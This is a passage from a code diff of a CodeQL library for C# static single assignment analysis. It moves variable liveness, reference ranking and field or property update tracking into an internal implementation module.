assignments to the `ref` variable live, for example - * line 2 in - * - * ```csharp - * void M() { - * ref int i = ref GetRef(); - * i = 0; - * } - * ``` - * - * The pseudo read is inserted at the CFG node `i` on the left-hand side of the - * assignment on line 3. - */ - RefReadBeforeWrite() - - class ReadKind extends TReadKind { - string toString() { - this = ActualRead() and - result = "ActualRead" - or - this = OutRefExitRead() and - result = "OutRefExitRead" - or - this = CapturedVarExitRead() and - result = "CapturedVarExitRead" - or - this = CapturedVarCallRead() and - result = "CapturedVarCallRead" - or - this = RefReadBeforeWrite() and - result = "RefReadBeforeWrite" - } - - /** Holds if this kind represents a pseudo read. */ - predicate isPseudo() { this != ActualRead() } - } - - /** - * Holds if the `i`th node `node` of basic block `bb` reads source variable `v`. - * The read at `node` is of kind `rk`. - * - * This excludes implicit reads via calls. - */ - predicate variableReadDirect( - BasicBlock bb, int i, SourceVariable v, ControlFlow::Node node, ReadKind rk - ) { - v.getAnAccess().(AssignableRead) = node.getElement() and - node = bb.getNode(i) and - rk = ActualRead() - or - outRefExitRead(bb, i, v, node) and - rk = OutRefExitRead() - or - refReadBeforeWrite(bb, i, v, node) and - rk = RefReadBeforeWrite() - } - - private predicate outRefExitRead( - BasicBlock bb, int i, LocalScopeSourceVariable v, ControlFlow::Nodes::AnnotatedExitNode node - ) { - node.isNormal() and - exists(LocalScopeVariable lsv | - lsv = v.getAssignable() and - bb.getNode(i) = node and - node.getCallable() = lsv.getCallable() - | - lsv.(Parameter).isOutOrRef() - or - lsv.isRef() and - strictcount(v.getAnAccess()) > 1 - ) - } - - private predicate refReadBeforeWrite( - BasicBlock bb, int i, LocalScopeSourceVariable v, ControlFlow::Node node - ) { - exists(AssignableDefinitions::AssignmentDefinition def, LocalVariable lv | - def.getTarget() = lv and - lv.isRef() and - lv = v.getAssignable() and - node = def.getAControlFlowNode() and - bb.getNode(i) = node - ) - } - - /** - * A classification of variable references into reads (of a given kind) and - * (certain or uncertain) writes. - */ - private newtype TRefKind = - Read(ReadKind rk) or - Write(boolean certain) { certain = true or certain = false } - - private class RefKind extends TRefKind { - string toString() { - exists(ReadKind rk | this = Read(rk) and result = "read (" + rk + ")") - or - exists(boolean certain | this = Write(certain) and result = "write (" + certain + ")") - } - - int getOrder() { - this = Read(_) and - result = 0 - or - this = Write(_) and - result = 1 - } - } - - /** - * Holds if the `i`th node of basic block `bb` is a reference to `v` of kind `k`. - */ - private predicate ref(BasicBlock bb, int i, SourceVariable v, RefKind k) { - exists(ReadKind rk | variableRead(bb, i, v, _, rk) | k = Read(rk)) - or - exists(boolean certain | variableWrite(bb, i, v, certain) | k = Write(certain)) - } - - private newtype TaggedRefIndex = - MkTaggedRefIndex(int i, int tag) { - exists(RefKind rk | ref(_, i, _, rk) | tag = rk.getOrder()) - } - - /** - * Gets the (1-based) rank of the reference to `v` at the `i`th node of basic block `bb`, - * which has the given reference kind `k`. - * - * Reads are considered before writes when they happen at the same index. - */ - int refRank(BasicBlock bb, int i, SourceVariable v, RefKind k) { - MkTaggedRefIndex(i, k.getOrder()) = - rank[result](int j, RefKind rk0, int tag | - ref(bb, j, v, rk0) and - tag = rk0.getOrder() - | - MkTaggedRefIndex(j, tag) order by j, tag - ) and - ref(bb, i, v, k) - } - - private int maxRefRank(BasicBlock bb, SourceVariable v) { - result = refRank(bb, _, v, _) and - not result + 1 = refRank(bb, _, v, _) - } - - /** - * Gets the (1-based) rank of the first reference to `v` inside basic block `bb` - * that is either a read or a certain write. - */ - private int firstReadOrCertainWrite(BasicBlock bb, SourceVariable v) { - result = - min(int r, RefKind k | - r = refRank(bb, _, v, k) and - k != Write(false) - | - r - ) - } - - /** - * Holds if source variable `v` is live at the beginning of basic block `bb`. - * The read that witnesses the liveness of `v` is of kind `rk`. - */ - predicate liveAtEntry(BasicBlock bb, SourceVariable v, ReadKind rk) { - // The first read or certain write to `v` inside `bb` is a read - refRank(bb, _, v, Read(rk)) = firstReadOrCertainWrite(bb, v) - or - // There is no certain write to `v` inside `bb`, but `v` is live at entry - // to a successor basic block of `bb` - not exists(firstReadOrCertainWrite(bb, v)) and - liveAtExit(bb, v, rk) - } - - /** - * Holds if source variable `v` is live at the end of basic block `bb`. - * The read that witnesses the liveness of `v` is of kind `rk`. - */ - predicate liveAtExit(BasicBlock bb, SourceVariable v, ReadKind rk) { - liveAtEntry(bb.getASuccessor(), v, rk) - } - - /** - * Holds if variable `v` is live in basic block `bb` at index `i`. - * The rank of `i` is `rnk` as defined by `refRank()`. - */ - private predicate liveAtRank(BasicBlock bb, int i, SourceVariable v, int rnk, ReadKind rk) { - exists(RefKind kind | rnk = refRank(bb, i, v, kind) | - rnk = maxRefRank(bb, v) and - liveAtExit(bb, v, rk) - or - ref(bb, i, v, kind) and - kind = Read(rk) - or - exists(RefKind nextKind | - liveAtRank(bb, _, v, rnk + 1, rk) and - rnk + 1 = refRank(bb, _, v, nextKind) and - nextKind != Write(true) - ) - ) - } - - /** - * Holds if variable `v` is live after the (certain or uncertain) write at - * index `i` inside basic block `bb`. The read that witnesses the liveness of - * `v` is of kind `rk`. - */ - predicate liveAfterWrite(BasicBlock bb, int i, SourceVariable v, ReadKind rk) { - exists(int rnk | rnk = refRank(bb, i, v, Write(_)) | liveAtRank(bb, i, v, rnk, rk)) - } - - /** - * Holds if `fp` is a field or a property that is interesting as a basis for SSA. - * - * - A volatile field is never interesting, since all reads must reread from - * memory and we are forced to assume that the value can change at any point. - * - A property is only interesting if it is "field-like", that is, it is a - * non-overridable trivial property. - */ - predicate trackFieldOrProp(FieldOrProp fp) { - not fp.isVolatile() and - ( - fp instanceof Field - or - fp = any(TrivialProperty p | not p.isOverridableOrImplementable()) - ) - } - } - - private import SourceVariableImpl + private import internal.SsaImpl as SsaImpl /** * A variable that can be SSA converted. @@ -457,7 +18,7 @@ module Ssa { * `q.fp1.fp2....fpn`, where the base qualifier `q` is either `this`, a local * scope variable, or a type in case `fp1` is static. */ - class SourceVariable extends TSourceVariable { + class SourceVariable extends SsaImpl::TSourceVariable { /** * Gets the assignable corresponding to this source variable. Either * a local scope variable, a field, or a property. @@ -465,7 +26,7 @@ module Ssa { Assignable getAssignable() { none() } /** Gets an access to this source variable. */ - AssignableAccess getAnAccess() { result = getAnAccess(this) } + AssignableAccess getAnAccess() { result = SsaImpl::getAnAccess(this) } /** Gets a definition of this source variable. */ AssignableDefinition getADefinition() { @@ -474,7 +35,7 @@ module Ssa { // Local variable declaration without initializer not exists(result.getTargetAccess()) and this = - any(LocalScopeSourceVariable v | + any(SourceVariables::LocalScopeSourceVariable v | result.getTarget() = v.getAssignable() and result.getEnclosingCallable() = v.getEnclosingCallable() ) @@ -510,10 +71,10 @@ module Ssa { /** Provides different types of `SourceVariable`s. */ module SourceVariables { /** A local scope variable. */ - class LocalScopeSourceVariable extends SourceVariable, TLocalVar { - override LocalScopeVariable getAssignable() { this = TLocalVar(_, result) } + class LocalScopeSourceVariable extends SourceVariable, SsaImpl::TLocalVar { + override LocalScopeVariable getAssignable() { this = SsaImpl::TLocalVar(_, result) } - override Callable getEnclosingCallable() { this = TLocalVar(result, _) } + override Callable getEnclosingCallable() { this = SsaImpl::TLocalVar(result, _) } override string toString() { result = getAssignable().getName() } @@ -523,20 +84,20 @@ module Ssa { /** A fully qualified field or property. */ class FieldOrPropSourceVariable extends SourceVariable { FieldOrPropSourceVariable() { - this = TPlainFieldOrProp(_, _) or - this = TQualifiedFieldOrProp(_, _, _) + this = SsaImpl::TPlainFieldOrProp(_, _) or + this = SsaImpl::TQualifiedFieldOrProp(_, _, _) } - override FieldOrProp getAssignable() { - this = TPlainFieldOrProp(_, result) or - this = TQualifiedFieldOrProp(_, _, result) + override Assignable getAssignable() { + this = SsaImpl::TPlainFieldOrProp(_, result) or + this = SsaImpl::TQualifiedFieldOrProp(_, _, result) } /** * Gets the first access to this field or property in terms of source * code location. This is used as the representative location. */ - private FieldOrPropAccess getFirstAccess() { + private AssignableAccess getFirstAccess() { result = min(this.getAnAccess() as a order by @@ -548,1243 +109,37 @@ module Ssa { } /** A plain field or property. */ - class PlainFieldOrPropSourceVariable extends FieldOrPropSourceVariable, TPlainFieldOrProp { - override Callable getEnclosingCallable() { this = TPlainFieldOrProp(result, _) } + class PlainFieldOrPropSourceVariable extends FieldOrPropSourceVariable, + SsaImpl::TPlainFieldOrProp { + override Callable getEnclosingCallable() { this = SsaImpl::TPlainFieldOrProp(result, _) } override string toString() { - exists(FieldOrProp f, string prefix | + exists(Assignable f, string prefix | f = getAssignable() and result = prefix + "." + getAssignable() | - if f.isStatic() then prefix = f.getDeclaringType().getQualifiedName() else prefix = "this" + if f.(Modifiable).isStatic() + then prefix = f.getDeclaringType().getQualifiedName() + else prefix = "this" ) } } /** A qualified field or property. */ class QualifiedFieldOrPropSourceVariable extends FieldOrPropSourceVariable, - TQualifiedFieldOrProp { - override Callable getEnclosingCallable() { this = TQualifiedFieldOrProp(result, _, _) } + SsaImpl::TQualifiedFieldOrProp { + override Callable getEnclosingCallable() { + this = SsaImpl::TQualifiedFieldOrProp(result, _, _) + } - override SourceVariable getQualifier() { this = TQualifiedFieldOrProp(_, result, _) } + override SourceVariable getQualifier() { this = SsaImpl::TQualifiedFieldOrProp(_, result, _) } override string toString() { result = getQualifier() + "." + getAssignable() } } } - private import SourceVariables - - private module SsaDefReaches { - /** - * A classification of SSA variable references into reads definitions. - */ - private newtype TSsaRefKind = - SsaRead() or - SsaDef() - - private class SsaRefKind extends TSsaRefKind { - string toString() { - this = SsaRead() and - result = "SsaRead" - or - this = SsaDef() and - result = "SsaDef" - } - - int getOrder() { - this = SsaRead() and - result = 0 - or - this = SsaDef() and - result = 1 - } - } - - /** - * Holds if the `i`th node of basic block `bb` is a reference to `v`, - * either a read (when `k` is `SsaRead()`) or an SSA definition (when `k` - * is `SsaDef()`). - */ - private predicate ssaRef(BasicBlock bb, int i, SourceVariable v, SsaRefKind k) { - variableRead(bb, i, v, _, _) and - k = SsaRead() - or - exists(Definition def | def.definesAt(v, bb, i)) and - k = SsaDef() - } - - private newtype TaggedSsaRefIndex = - MkTaggedSsaRefIndex(int i, SsaRefKind k) { ssaRef(_, i, _, k) } - - /** - * Gets the (1-based) rank of the reference to `v` at the `i`th node of basic - * block `bb`, which has the given reference kind `k`. - * - * For example, if `bb` is a basic block with a phi node for `v` (considered - * to be at index -1), reads `v` at node 2, and defines it at node 5, we have: - * - * ```ql - * ssaRefRank(bb, -1, v, SsaDef()) = 1 // phi node - * ssaRefRank(bb, 2, v, Read()) = 2 // read at node 2 - * ssaRefRank(bb, 5, v, SsaDef()) = 3 // definition at node 5 - * ``` - * - * Reads are considered before writes when they happen at the same index. - */ - private int ssaRefRank(BasicBlock bb, int i, SourceVariable v, SsaRefKind k) { - MkTaggedSsaRefIndex(i, k) = - rank[result](int j, SsaRefKind k0 | - ssaRef(bb, j, v, k0) - | - MkTaggedSsaRefIndex(j, k0) order by j, k0.getOrder() - ) and - ssaRef(bb, i, v, k) - } - - private int maxSsaRefRank(BasicBlock bb, SourceVariable v) { - result = ssaRefRank(bb, _, v, _) and - not result + 1 = ssaRefRank(bb, _, v, _) - } - - /** - * Holds if the SSA definition `def` reaches rank index `rankix` in its own - * basic block `bb`. - */ - private predicate ssaDefReachesRank(BasicBlock bb, Definition def, int rankix, SourceVariable v) { - exists(int i | - rankix = ssaRefRank(bb, i, v, SsaDef()) and - def.definesAt(v, bb, i) - ) - or - ssaDefReachesRank(bb, def, rankix - 1, v) and - rankix = ssaRefRank(bb, _, v, SsaRead()) - } - - /** - * Holds if the SSA definition of `v` at `def` reaches `read` in the - * same basic block without crossing another SSA definition of `v`. - * The read at `node` is of kind `rk`. - */ - private predicate ssaDefReachesReadWithinBlock( - SourceVariable v, Definition def, ControlFlow::Node read, ReadKind rk - ) { - exists(BasicBlock bb, int rankix, int i | - ssaDefReachesRank(bb, def, rankix, v) and - rankix = ssaRefRank(bb, i, v, SsaRead()) and - variableRead(bb, i, v, read, rk) - ) - } - - /** - * Holds if the SSA definition of `v` at `def` reaches uncertain SSA definition - * `redef` in the same basic block, without crossing another SSA definition of `v`. - */ - private predicate ssaDefReachesUncertainDefWithinBlock( - SourceVariable v, Definition def, UncertainDefinition redef - ) { - exists(BasicBlock bb, int rankix, int i | - ssaDefReachesRank(bb, def, rankix, v) and - rankix = ssaRefRank(bb, i, v, SsaDef()) - 1 and - redef.definesAt(v, bb, i) - ) - } - - /** - * Same as `ssaRefRank()`, but restricted to a particular SSA definition `def`. - */ - private int ssaDefRank(Definition def, SourceVariable v, BasicBlock bb, int i, SsaRefKind k) { - v = def.getSourceVariable() and - result = ssaRefRank(bb, i, v, k) and - ( - ssaDefReachesRead(_, def, bb.getNode(i), _) - or - def.definesAt(_, bb, i) - ) - } - - private predicate varOccursInBlock(Definition def, BasicBlock bb, SourceVariable v) { - exists(ssaDefRank(def, v, bb, _, _)) - } - - pragma[noinline] - private BasicBlock getAMaybeLiveSuccessor(Definition def, BasicBlock bb) { - result = bb.getASuccessor() and - not varOccursInBlock(_, bb, def.getSourceVariable()) and - ssaDefReachesEndOfBlock(bb, def, _) - } - - /** - * Holds if `def` is accessed in basic block `bb1` (either a read or a write), - * `bb2` is a transitive successor of `bb1`, `def` is live at the end of `bb1`, - * and the underlying variable for `def` is neither read nor written in any block - * on the path between `bb1` and `bb2`. - */ - private predicate varBlockReaches(Definition def, BasicBlock bb1, BasicBlock bb2) { - varOccursInBlock(def, bb1, _) and - bb2 = bb1.getASuccessor() - or - exists(BasicBlock mid | varBlockReaches(def, bb1, mid) | - bb2 = getAMaybeLiveSuccessor(def, mid) - ) - } - - /** - * Holds if `def` is accessed in basic block `bb1` (either a read or a write), - * `def` is read at `cfn`, `cfn` is in a transitive successor block of `bb1`, - * and `def` is not read in any block on the path between `bb1` and `cfn`. - */ - private predicate varBlockReachesRead(Definition def, BasicBlock bb1, ControlFlow::Node cfn) { - exists(BasicBlock bb2, int i2 | - varBlockReaches(def, bb1, bb2) and - ssaRefRank(bb2, i2, def.getSourceVariable(), SsaRead()) = 1 and - variableRead(bb2, i2, _, cfn, _) - ) - } - - /** - * Holds if `def` is accessed at index `i1` in basic block `bb1` (either a read - * or a write), `def` is read at `cfn`, and there is a path between them without - * any read of `def`. - */ - private predicate adjacentVarRead(Definition def, BasicBlock bb1, int i1, ControlFlow::Node cfn) { - exists(int rankix, int i2 | - rankix = ssaDefRank(def, _, bb1, i1, _) and - rankix + 1 = ssaDefRank(def, _, bb1, i2, SsaRead()) and - variableRead(bb1, i2, _, cfn, _) - ) - or - exists(SourceVariable v | ssaDefRank(def, v, bb1, i1, _) = maxSsaRefRank(bb1, v)) and - varBlockReachesRead(def, bb1, cfn) - } - - cached - private module Cached { - /** - * Holds if the node at index `i` in `bb` is a last reference to SSA - * definition `def`. - * - * That is, the node can reach the end of the enclosing callable, or another - * SSA definition for the underlying source variable, without passing through - * another read. - */ - cached - predicate lastRef(Definition def, BasicBlock bb, int i) { - exists(int rnk, SourceVariable v | rnk = ssaDefRank(def, v, bb, i, _) | - // Next reference to `v` inside `bb` is a write - rnk + 1 = ssaRefRank(bb, _, v, SsaDef()) - or - // No more references to `v` inside `bb` - rnk = maxSsaRefRank(bb, v) and - ( - // Can reach exit directly - bb instanceof ControlFlow::BasicBlocks::ExitBlock - or - exists(BasicBlock bb2 | varBlockReaches(def, bb, bb2) | - // Can reach a write using one or more steps - 1 = ssaRefRank(bb2, _, def.getSourceVariable(), SsaDef()) - or - // Can reach a block using one or more steps, where `def` is no longer live - not varOccursInBlock(def, bb2, _) and - not ssaDefReachesEndOfBlock(bb2, def, _) - ) - ) - ) - } - - pragma[noinline] - private predicate ssaDefReachesEndOfBlockRec(BasicBlock bb, Definition def, SourceVariable v) { - exists(BasicBlock idom | ssaDefReachesEndOfBlock(idom, def, v) | - // The construction of SSA form ensures that each read of a variable is - // dominated by its definition. An SSA definition therefore reaches a - // control flow node if it is the _closest_ SSA definition that dominates - // the node. If two definitions dominate a node then one must dominate the - // other, so therefore the definition of _closest_ is given by the dominator - // tree. Thus, reaching definitions can be calculated in terms of dominance. - idom = bb.getImmediateDominator() - ) - } - - /** - * Holds if the SSA definition of `v` at `def` reaches the end of a basic - * block `bb`, at which point it is still live, without crossing another - * SSA definition of `v`. - */ - cached - predicate ssaDefReachesEndOfBlock(BasicBlock bb, Definition def, SourceVariable v) { - exists(int last | last = maxSsaRefRank(bb, v) | - ssaDefReachesRank(bb, def, last, v) and - liveAtExit(bb, v, _) - ) - or - ssaDefReachesEndOfBlockRec(bb, def, v) and - liveAtExit(bb, v, _) and - not ssaRef(bb, _, v, SsaDef()) - } - - /** - * Holds if the SSA definition of `v` at `def` reaches `read` without crossing - * another SSA definition of `v`. The read at `node` is of kind `rk`. - */ - cached - predicate ssaDefReachesRead( - SourceVariable v, Definition def, ControlFlow::Node read, ReadKind rk - ) { - ssaDefReachesReadWithinBlock(v, def, read, rk) - or - exists(BasicBlock bb | - variableRead(bb, _, v, read, rk) and - ssaDefReachesEndOfBlock(bb.getAPredecessor(), def, v) and - not ssaDefReachesReadWithinBlock(v, _, read, _) - ) - } - - /** - * Holds if the SSA definition of `v` at `def` reaches uncertain SSA definition - * `redef` without crossing another SSA definition of `v`. - */ - cached - predicate ssaDefReachesUncertainDef( - SourceVariable v, Definition def, UncertainDefinition redef - ) { - ssaDefReachesUncertainDefWithinBlock(v, def, redef) - or - exists(BasicBlock bb | - redef.definesAt(v, bb, _) and - ssaDefReachesEndOfBlock(bb.getAPredecessor(), def, v) and - not ssaDefReachesUncertainDefWithinBlock(v, _, redef) - ) - } - - /** Same as `adjacentVarRead`, but steps over pseudo reads. */ - private predicate adjacentVarActualRead( - Definition def, BasicBlock bb1, int i1, ControlFlow::Node cfn - ) { - adjacentVarRead(def, bb1, i1, cfn) - or - exists(ControlFlow::Node mid, BasicBlock bb2, int i2 | - adjacentVarActualRead(def, bb1, i1, mid) and - variableRead(bb2, i2, _, mid, any(ReadKind rk | rk.isPseudo())) and - adjacentVarRead(def, bb2, i2, cfn) - ) - } - - /** - * Holds if the value defined at SSA definition `def` can reach a read at `cfn`, - * without passing through any other read. - */ - cached - predicate firstReadSameVar(Definition def, ControlFlow::Node cfn) { - exists(BasicBlock bb1, int i1 | - def.definesAt(_, bb1, i1) and - adjacentVarActualRead(def, bb1, i1, cfn) and - variableRead(_, _, _, cfn, ActualRead()) - ) - } - - /** - * Holds if the read at `cfn2` is a read of the same SSA definition `def` - * as the read at `cfn1`, and `cfn2` can be reached from `cfn1` without - * passing through another read. - */ - cached - predicate adjacentReadPairSameVar( - Definition def, ControlFlow::Node cfn1, ControlFlow::Node cfn2 - ) { - exists(BasicBlock bb1, int i1 | - variableRead(bb1, i1, _, cfn1, ActualRead()) and - adjacentVarActualRead(def, bb1, i1, cfn2) and - variableRead(_, _, _, cfn2, ActualRead()) - ) - } - - private predicate reachesLastRef(Definition def, BasicBlock bb, int i) { - lastRef(def, bb, i) - or - exists(BasicBlock bb0, int i0, ControlFlow::Node cfn | - reachesLastRef(def, bb0, i0) and - variableRead(bb0, i0, _, cfn, any(ReadKind rk | rk.isPseudo())) and - adjacentVarRead(def, bb, i, cfn) - ) - } - - cached - predicate lastReadSameVar(Definition def, ControlFlow::Node cfn) { - exists(BasicBlock bb, int i | - reachesLastRef(def, bb, i) and - variableRead(bb, i, _, _, ActualRead()) and - cfn = bb.getNode(i) - ) - } - } - - import Cached - } - - private import SsaDefReaches - - /** - * The SSA construction for a field or a property `fp` relies on implicit - * update nodes at every call site that conceivably could reach an update - * of the field or property. For example, there is an implicit update of - * `this.Field` on line 7 in - * - * ```csharp - * int Field; - * - * void SetField(int i) { Field = i; } - * - * int M() { - * Field = 0; - * SetField(1); // implicit update of `this.Field` - * return Field; - * } - * ``` - * - * At a first approximation, we need to find update paths of the form: - * - * ``` - * Call --(callEdge)-->* Callable(setter of fp) - * ``` - * - * This can be improved by excluding paths ending in: - * - * ``` - * Constructor --(intraInstanceCallEdge)-->+ Callable(setter of this.fp) - * ``` - * - * as these updates are guaranteed not to alias with the `fp` under - * consideration. - * - * This set of paths can be expressed positively by noting that those - * that set `this.fp`, end in zero or more `intraInstanceCallEdge`s between - * callables, and before those is either the originating `Call`: - * - * ``` - * Call --(intraInstanceCallEdge)-->* Callable(setter of this.fp) - * ``` - * - * or a `crossInstanceCallEdge`: - * - * ``` - * Call --crossInstanceCallEdge--> Callable - * --(intraInstanceCallEdge)-->* Callable(setter of this.fp) - * ``` - */ - private module FieldOrPropsImpl { - private import semmle.code.csharp.dispatch.Dispatch - - /** - * A callable that is neither static nor a constructor. - */ - private class InstanceCallable extends Callable { - InstanceCallable() { - not this.(Modifiable).isStatic() and - not this instanceof Constructor - } - } - - private class FieldOrPropDefinition extends AssignableDefinition { - FieldOrPropDefinition() { this.getTarget() instanceof FieldOrProp } - } - - /** - * Holds if `fpdef` is a definition that is not relevant as an implicit - * SSA update, since it is an initialization and therefore cannot alias. - */ - private predicate init(FieldOrPropDefinition fpdef) { - exists(FieldOrPropAccess access | access = fpdef.getTargetAccess() | - fpdef.getEnclosingCallable() instanceof Constructor and - ownFieldOrPropAccess(access) - or - exists(LocalVariable v | - v.getAnAccess() = access.getQualifier() and - not v.isCaptured() and - forex(AssignableDefinition def | def.getTarget() = v and exists(def.getSource()) | - def.getSource() instanceof ObjectCreation - ) - ) - ) - or - fpdef.(AssignableDefinitions::AssignmentDefinition).getAssignment() instanceof - MemberInitializer - } - - /** - * Holds if `fpdef` is an update of `fp` in `c` that is relevant for SSA construction. - */ - private predicate relevantDefinition(Callable c, FieldOrProp fp, FieldOrPropDefinition fpdef) { - fpdef.getTarget() = fp and - not init(fpdef) and - fpdef.getEnclosingCallable() = c and - exists(FieldOrPropSourceVariable tf | tf.getAssignable() = fp) - } - - /** - * Holds if callable `c` can change the value of `this.fp` and is relevant - * for SSA construction. - */ - private predicate setsOwnFieldOrProp(InstanceCallable c, FieldOrProp fp) { - exists(FieldOrPropDefinition fpdef | relevantDefinition(c, fp, fpdef) | - ownFieldOrPropAccess(fpdef.getTargetAccess()) - ) - } - - /** - * Holds if callable `c` can change the value of `fp` and is relevant for SSA - * construction excluding those cases covered by `setsOwnFieldOrProp`. - */ - private predicate setsOtherFieldOrProp(Callable c, FieldOrProp fp) { - exists(FieldOrPropDefinition fpdef | relevantDefinition(c, fp, fpdef) | - not ownFieldOrPropAccess(fpdef.getTargetAccess()) - ) - } - - /** - * Holds if `(c1,c2)` is a call edge to a callable that does not change the - * value of `this`. - * - * Constructor-to-constructor calls can also be intra-instance, but are not - * included, as this does not affect whether a call chain ends in - * - * ``` - * Constructor --(intraInstanceCallEdge)-->+ Callable(setter of this.f) - * ``` - */ - private predicate intraInstanceCallEdge(Callable c1, InstanceCallable c2) { - exists(Call c | - c.getEnclosingCallable() = c1 and - c2 = getARuntimeTarget(c, _) and - c.(QualifiableExpr).targetIsLocalInstance() - ) - } - - /** - * Gets a potential run-time target for the call `c`. - * - * This predicate differs from `Call.getARuntimeTarget()` in three ways: - * - * (1) The returned callable is always a source declaration, - * - * (2) a simpler analysis is applied for delegate calls (needed to avoid making - * the SSA library and `Call.getARuntimeTarget()` mutually recursive), and - * - * (3) indirect calls to delegates via calls to library callables are included. - * - * The Boolean `libraryDelegateCall` indicates whether `c` is a call to a library - * method and the result is a delegate passed to `c`. For example, in - * - * ```csharp - * Lazy<int> M1() - * { - * return new Lazy<int>(M2); - * } - * ``` - * - * the constructor call `new Lazy<int>(M2)` includes `M2` as a target. - */ - Callable getARuntimeTarget(Call c, boolean libraryDelegateCall) { - // Non-delegate call: use dispatch library - exists(DispatchCall dc | dc.getCall() = c | - result = dc.getADynamicTarget().getUnboundDeclaration() and - libraryDelegateCall = false - ) - or - // Delegate call: use simple analysis - result = SimpleDelegateAnalysis::getARuntimeDelegateTarget(c, libraryDelegateCall) - } - - private module SimpleDelegateAnalysis { - private import semmle.code.csharp.dataflow.internal.DelegateDataFlow - private import semmle.code.csharp.dataflow.internal.Steps - private import semmle.code.csharp.frameworks.system.linq.Expressions - - /** - * Holds if `c` is a call that (potentially) calls the delegate expression `e`. - * Either `c` is a delegate call and `e` is the qualifier, or `c` is a call to - * a library callable and `e` is a delegate argument. - */ - private predicate delegateCall(Call c, Expr e, boolean libraryDelegateCall) { - c = any(DelegateCall dc | e = dc.getDelegateExpr()) and - libraryDelegateCall = false - or - c.getTarget().fromLibrary() and - e = c.getAnArgument() and - e.getType() instanceof SystemLinqExpressions::DelegateExtType and - libraryDelegateCall = true - } - - /** Holds if expression `e` is a delegate creation for callable `c` of type `t`. */ - private predicate delegateCreation( - Expr e, Callable c, SystemLinqExpressions::DelegateExtType dt - ) { - e = - any(AnonymousFunctionExpr afe | - dt = afe.getType() and - c = afe - ) - or - e = - any(CallableAccess ca | - c = ca.getTarget().getUnboundDeclaration() and - dt = ca.getType() - ) - } - - private predicate delegateFlowStep(Expr pred, Expr succ) { - Steps::stepClosed(pred, succ) - or - exists(Call call, Callable callable | - callable.getUnboundDeclaration().canReturn(pred) and - call = succ - | - callable = call.getTarget() or - callable = call.getTarget().(Method).getAnOverrider+() or - callable = call.getTarget().(Method).getAnUltimateImplementor() or - callable = getARuntimeDelegateTarget(call, false) - ) - or - pred = succ.(DelegateCreation).getArgument() - or - exists(AssignableDefinition def, Assignable a | - a instanceof Field or - a instanceof Property - | - a = def.getTarget() and - succ.(AssignableRead) = a.getAnAccess() and - pred = def.getSource() - ) - or - exists(AddEventExpr ae | succ.(EventAccess).getTarget() = ae.getTarget() | - pred = ae.getRValue() - ) - } - - private predicate reachesDelegateCall(Expr e) { - delegateCall(_, e, _) - or - exists(Expr mid | reachesDelegateCall(mid) | delegateFlowStep(e, mid)) - } - - pragma[nomagic] - private predicate delegateFlowStepReaches(Expr pred, Expr succ) { - delegateFlowStep(pred, succ) and - reachesDelegateCall(succ) - } - - private Expr delegateCallSource(Callable c) { - delegateCreation(result, c, _) - or - delegateFlowStepReaches(delegateCallSource(c), result) - } - - /** Gets a run-time target for the delegate call `c`. */ - Callable getARuntimeDelegateTarget(Call c, boolean libraryDelegateCall) { - delegateCall(c, delegateCallSource(result), libraryDelegateCall) - } - } - - /** Holds if `(c1,c2)` is an edge in the call graph. */ - predicate callEdge(Callable c1, Callable c2) { - exists(Call c | c.getEnclosingCallable() = c1 and c2 = getARuntimeTarget(c, _)) - } - - /** - * Holds if `(c1,c2)` is an edge in the call graph excluding - * `intraInstanceCallEdge`. - */ - private predicate crossInstanceCallEdge(Callable c1, Callable c2) { - callEdge(c1, c2) and - not intraInstanceCallEdge(c1, c2) - } - - pragma[noinline] - predicate callAt(BasicBlock bb, int i, Call call) { - bb.getNode(i) = call.getAControlFlowNode() and - getARuntimeTarget(call, _).hasBody() - } - - /** - * Holds if `call` occurs in basic block `bb` at index `i`, `fp` has - * an update somewhere, and `fp` is likely to be live in `bb` at index - * `i`. - */ - private predicate updateCandidate(BasicBlock bb, int i, FieldOrPropSourceVariable fp, Call call) { - callAt(bb, i, call) and - call.getEnclosingCallable() = fp.getEnclosingCallable() and - relevantDefinition(_, fp.getAssignable(), _) and - not variableWriteDirect(bb, i, fp, _) - } - - private predicate source( - Call call, FieldOrPropSourceVariable fps, FieldOrProp fp, Callable c, boolean fresh - ) { - updateCandidate(_, _, fps, call) and - c = getARuntimeTarget(call, _) and - fp = fps.getAssignable() and - if c instanceof Constructor then fresh = true else fresh = false - } - - /** - * A callable in a potential call-chain between a source that cares about the - * value of some field `f` and a sink that may overwrite `f`. The Boolean - * `fresh` indicates whether the instance `this` in `c` has been freshly - * allocated along the call-chain. - */ - private newtype TCallableNode = - MkCallableNode(Callable c, boolean fresh) { source(_, _, _, c, fresh) or edge(_, c, fresh) } - - private predicate edge(TCallableNode n, Callable c2, boolean f2) { - exists(Callable c1, boolean f1 | n = MkCallableNode(c1, f1) | - intraInstanceCallEdge(c1, c2) and f2 = f1 - or - crossInstanceCallEdge(c1, c2) and - if c2 instanceof Constructor then f2 = true else f2 = false - ) - } - - private predicate edge(TCallableNode n1, TCallableNode n2) { - exists(Callable c2, boolean f2 | - edge(n1, c2, f2) and - n2 = MkCallableNode(c2, f2) - ) - } - - pragma[noinline] - private predicate source( - Call call, FieldOrPropSourceVariable fps, FieldOrProp fp, TCallableNode n - ) { - exists(Callable c, boolean fresh | - source(call, fps, fp, c, fresh) and - n = MkCallableNode(c, fresh) - ) - } - - private predicate sink(Callable c, FieldOrProp fp, TCallableNode n) { - relevantDefinition(c, fp, _) and - ( - setsOwnFieldOrProp(c, fp) and n = MkCallableNode(c, false) - or - setsOtherFieldOrProp(c, fp) and n = MkCallableNode(c, _) - ) - } - - private predicate prunedNode(TCallableNode n) { - sink(_, _, n) - or - exists(TCallableNode mid | edge(n, mid) and prunedNode(mid)) - } - - private predicate prunedEdge(TCallableNode n1, TCallableNode n2) { - prunedNode(n1) and - prunedNode(n2) and - edge(n1, n2) - } - - private predicate edgePlus(TCallableNode c1, TCallableNode c2) = fastTC(prunedEdge/2)(c1, c2) - - pragma[noopt] - private predicate updatesNamedFieldOrProp( - FieldOrPropSourceVariable fps, Call call, Callable setter - ) { - exists(TCallableNode src, TCallableNode sink, FieldOrProp fp | - source(call, fps, fp, src) and - sink(setter, fp, sink) and - (src = sink or edgePlus(src, sink)) - ) - } - - /** - * Holds if `call` may change the value of field or property `fp`. The actual - * update occurs in `setter`. - */ - cached - predicate updatesNamedFieldOrProp( - BasicBlock bb, int i, Call c, FieldOrPropSourceVariable fp, Callable setter - ) { - forceCachingInSameStage() and - updateCandidate(bb, i, fp, c) and - updatesNamedFieldOrProp(fp, c, setter) - } - } - - private import FieldOrPropsImpl - - /** - * As in the SSA construction for fields and 